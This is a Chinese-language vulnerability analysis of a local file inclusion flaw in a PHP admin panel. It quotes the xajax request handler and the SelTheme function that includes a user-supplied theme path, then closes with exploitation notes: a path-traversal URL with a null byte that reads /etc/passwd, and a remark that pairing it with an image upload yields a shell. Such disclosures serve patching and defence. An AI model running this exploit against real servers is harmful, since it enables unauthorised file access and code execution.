##1.漏洞分析
includes/xajax.inc.php
```php
{
header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
$sFunctionName = $_GET["xajax"];//这里获取调用函数的名字
if (!empty($_GET["xajaxargs"]))
$aArgs = $_GET["xajaxargs"];//这里参数接收
......
if ($bFoundFunction)
{
for ($i = 0; $i < sizeof($aArgs); $i++)
{
// If magic quotes is on, then we need to strip the slashes from the args
if (get_magic_quotes_gpc() == 1 && is_string($aArgs[$i])) {
$aArgs[$i] = stripslashes($aArgs[$i]);
}
if (stristr($aArgs[$i],"<xjxobj>") != false)
{
$aArgs[$i] = $this->_xmlToArray("xjxobj",$aArgs[$i]);
}
else if (stristr($aArgs[$i],"<xjxquery>") != false)
{
$aArgs[$i] = $this->_xmlToArray("xjxquery",$aArgs[$i]);
}
else if ($this->bDecodeUTF8Input)
{
$aArgs[$i] = $this->_decodeUTF8Data($aArgs[$i]);
}
}
if ($this->sPreFunction) {
$mPreResponse = $this->_callFunction($this->sPreFunction, array($sFunctionNameForSpecial, $aArgs));
if (is_array($mPreResponse) && $mPreResponse[0] === false) {
$bEndRequest = true;
$sPreResponse = $mPreResponse[1];
}
else {
$sPreResponse = $mPreResponse;
}
if ($bEndRequest) $oResponse = $sPreResponse;
}
if (!$bEndRequest) {
if (!$this->_isFunctionCallable($sFunctionName)) {
$oResponse = new xajaxResponse();
$oResponse->addAlert("The Registered Function $sFunctionName Could Not Be Found.");
}
else {
if ($bFunctionIsCatchAll) {
$aArgs = array($sFunctionNameForSpecial, $aArgs);//$aArgs参数可控
}
$oResponse = $this->_callFunction($sFunctionName, $aArgs);
}
}
```
来看看
includes/sb-callback.php 2199行
```php
function SelTheme($theme)
{
$objResponse = new xajaxResponse();
global $userbank, $username;
if(!$userbank->HasAccess(ADMIN_OWNER|ADMIN_WEB_SETTINGS))
{
$objResponse->redirect("index.php?p=login&m=no_access", 0);
$log = new CSystemLog("w", "Hacking Attempt", $username . " tried to execute SelTheme() function, but doesnt have access.");
return $objResponse;
}
if (!include (SB_THEMES . $theme . "/theme.conf.php")) //这里包含漏洞
{
$objResponse->addAlert('Invalid theme selected.');
return $objResponse;
}
$objResponse->addAssign("current-theme-screenshot", "innerHTML", '<img width="250px" height="170px" src="themes/'.$theme.'/'.strip_tags(theme_screenshot).'">');
$objResponse->addAssign("theme.name", "innerHTML", theme_name);
$objResponse->addAssign("theme.auth", "innerHTML", theme_author);
$objResponse->addAssign("theme.vers", "innerHTML", theme_version);
$objResponse->addAssign("theme.link", "innerHTML", '<a href="'.theme_link.'" target="_new">'.theme_link.'</a>');
$objResponse->addAssign("theme.apply", "innerHTML", "<input type='button' onclick=\"javascript:xajax_ApplyTheme('" .$theme."')\" name='btnapply' class='btn ok' onmouseover='ButtonOver(\"btnapply\")' onmouseout='ButtonOver(\"btnapply\")' id='btnapply' value='Apply Theme' />");
return $objResponse;
}
```
##2.漏洞利用
只有管理权限或者可以更改模版的角色才能利用
后台能够上传图片,利用LFI 可以getshell。
http://[host]/index.php?xajax=SelTheme&xajaxargs[]=../../../../../../../../../../etc/passwd%00
暂无评论